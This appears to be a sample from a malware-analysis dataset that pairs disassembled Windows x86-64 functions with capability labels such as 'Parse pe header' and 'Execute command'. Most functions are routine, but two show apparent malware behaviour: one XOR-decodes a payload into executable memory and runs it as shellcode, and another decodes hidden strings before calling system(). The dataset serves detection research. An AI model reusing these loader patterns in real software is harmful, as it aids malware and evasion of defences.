joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400119ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400119f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400119f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400119f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400119f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400119f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400119f8
xor al, al
add rsp, 0x28
ret

Function at 0x1400160e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140016108
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140016108
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001058
Capabilities:
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x80
movabs rax, 0x93577fb9189945d9
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x30], rax
movabs rbx, 0x342cedf0c51d5fc8
mov qword [rbp - 0x18], rbx
movabs rax, 0xb28fdefb6b0aff37
mov qword [rbp - 0x28], rax
movabs rsi, 0x93257fdb18f04595
movdqa xmm0, xmmword [rbp - 0x30]
movabs rax, 0xc76e49656865d0a3
mov qword [rbp - 0x20], rax
movabs rdi, 0xb2a1de826b78ff56
movdqa xmm1, xmmword [rbp - 0x20]
movabs r14, 0xc76e49096809d0c7
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rdi
pxor xmm0, xmmword [rbp - 0x60]
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], rbx
pxor xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmmword [rbp - 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
jne 0x1400011ec
movabs rcx, 0xc1d15e8e7171b65a
mov qword [rbp - 0x60], rsi
mov qword [rbp - 8], rcx
movabs rax, 0xb34211b26b832cd8
mov qword [rbp - 0x30], rax
movabs rax, 0xdcc4baec0e089a32
mov qword [rbp - 0x28], rax
movabs rax, 0xb50c20454a29a9a4
movdqa xmm0, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movabs rax, 0x16408194eb642da9
mov qword [rbp - 0x18], rax
movabs rax, 0xfe144307dc7024c3
movdqa xmm1, xmmword [rbp - 0x20]
mov qword [rbp - 0x10], rax
movabs rax, 0xfe144307dc7024c9
mov qword [rbp - 0x38], rcx
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x58], rdi
pxor xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm0, xmmword [rbp - 0x10]
pxor xmm0, xmmword [rbp - 0x40]
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], rbx
pxor xmm1, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmmword [rbp - 0x20], xmm1
call fcn.140001008
mov qword [rbp - 0x58], rdi
lea rcx, [rbp - 0x60]
movabs rax, 0x93257fbe6b8524e5
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x60], rax
movdqa xmm0, xmmword [rbp - 0x60]
mov qword [rbp - 0x28], rdi
pxor xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x60], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7fffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400011ec
Function at 0x140001160
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov rsi, qword [0x14000a048]
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
je 0x1400011b9
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
nop word [rax + rax]
mov ecx, 0x3e8
call r14
xor eax, eax
lock cmpxchg qword [rsi], rdi
sete bl
je 0x1400011b9
cmp rdi, rax
jne 0x1400011a0
mov rdi, qword [0x14000a050]
mov eax, dword [rdi]
cmp eax, 1
jne 0x1400011d3
mov ecx, 0x1f
call fcn.140008390
jmp 0x1400011fa
cmp dword [rdi], 0
je 0x1400011e1
mov byte [0x14000c148], 1
jmp 0x1400011fa
mov dword [rdi], 1
mov rcx, qword [0x14000a068]
mov rdx, qword [0x14000a070]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov eax, dword [rdi]
cmp eax, 1
jne 0x14000121a
mov rcx, qword [0x14000a058]
mov rdx, qword [0x14000a060]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rdi], 2
test bl, 1
je 0x140001224
xor eax, eax
xchg qword [rsi], rax
mov rax, qword [0x14000a010]
mov rax, qword [rax]
test rax, rax
je 0x140001243
xor ecx, ecx
mov edx, 2
xor r8d, r8d
call qword [0x14000e008]
call fcn.140007ae0
lea rcx, [0x140008090]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [0x14000a040]
mov qword [rcx], rax
lea rcx, [0x140001390]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140007ad0
movsxd rdi, dword [0x14000c134]
lea rcx, [rdi*8 + 8]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
test rdi, rdi
jle 0x1400012d2
mov ebx, edi
mov r14, qword [0x14000c138]
xor r15d, r15d
nop dword [rax + rax]
mov rcx, qword [r14 + r15*8]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rdi, [rax + 1]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rsi + r15*8], rax
mov rdx, qword [r14 + r15*8]
mov rcx, rax
mov r8, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
inc r15
cmp rbx, r15
jne 0x1400012a0
jmp 0x1400012d4
xor ebx, ebx
mov qword [rsi + rbx*8], 0
mov qword [0x14000c138], rsi
call fcn.140007920
mov rax, qword [0x14000c140]
mov rcx, qword [0x14000a018]
mov rcx, qword [rcx]
mov qword [rcx], rax
mov ecx, dword [0x14000c134]
mov rdx, qword [0x14000c138]
mov r8, qword [0x14000c140]
call fcn.140007770
mov dword [0x14000c14c], eax
cmp dword [0x14000c12c], 0
je 0x140001344
cmp byte [0x14000c148], 0
jne 0x140001338
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14000c14c]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
int3
Function at 0x140007fc0
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call fcn.140008b50
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
int3

Function at 0x1400088a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14000a008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000890c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000890c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000890c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000890c
sub rcx, qword [0x14000a008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x1400088f8
add rax, 0x28
dec edx
je 0x14000890c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x1400088f0
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x1400088f0
jmp 0x14000890e
xor eax, eax
ret

Function at 0x140008910
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14000a008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140008945
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140008945
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140008945
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400089c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400089ec
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400089ec
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400089ee
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x20
movdqa xmm2, xmmword [str.KKKKKKKKKKKKKKKK_]
lea rax, [0x140003090]
xor ecx, ecx
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add ecx, 0x40
lea rax, [rax + 0x40]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
xorps xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm0, xmmword [rax - 0x20]
xorps xmm0, xmm2
movdqu xmmword [rax - 0x20], xmm0
cmp ecx, 0x1c0
jb 0x140001020
movsxd rax, ecx
lea rbx, [0x140003080]
cmp rax, 0x1cd
jae 0x140001091
add rax, rbx
nop dword [rax + rax]
xor byte [rax], 0x4b
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x1cd
jb 0x140001080
xor ecx, ecx
mov edx, 0x1ce
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov rcx, rax
mov edx, 3
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400010b3
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rcx + 0x30], xmm1
mov rax, qword [rbx + 0x40]
mov qword [rcx + 0x40], rax
mov eax, dword [rbx + 0x48]
mov dword [rcx + 0x48], eax
movzx eax, word [rbx + 0x4c]
mov word [rcx + 0x4c], ax
call r8
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x140001a28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a72
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a74
xor al, al
add rsp, 0x28
ret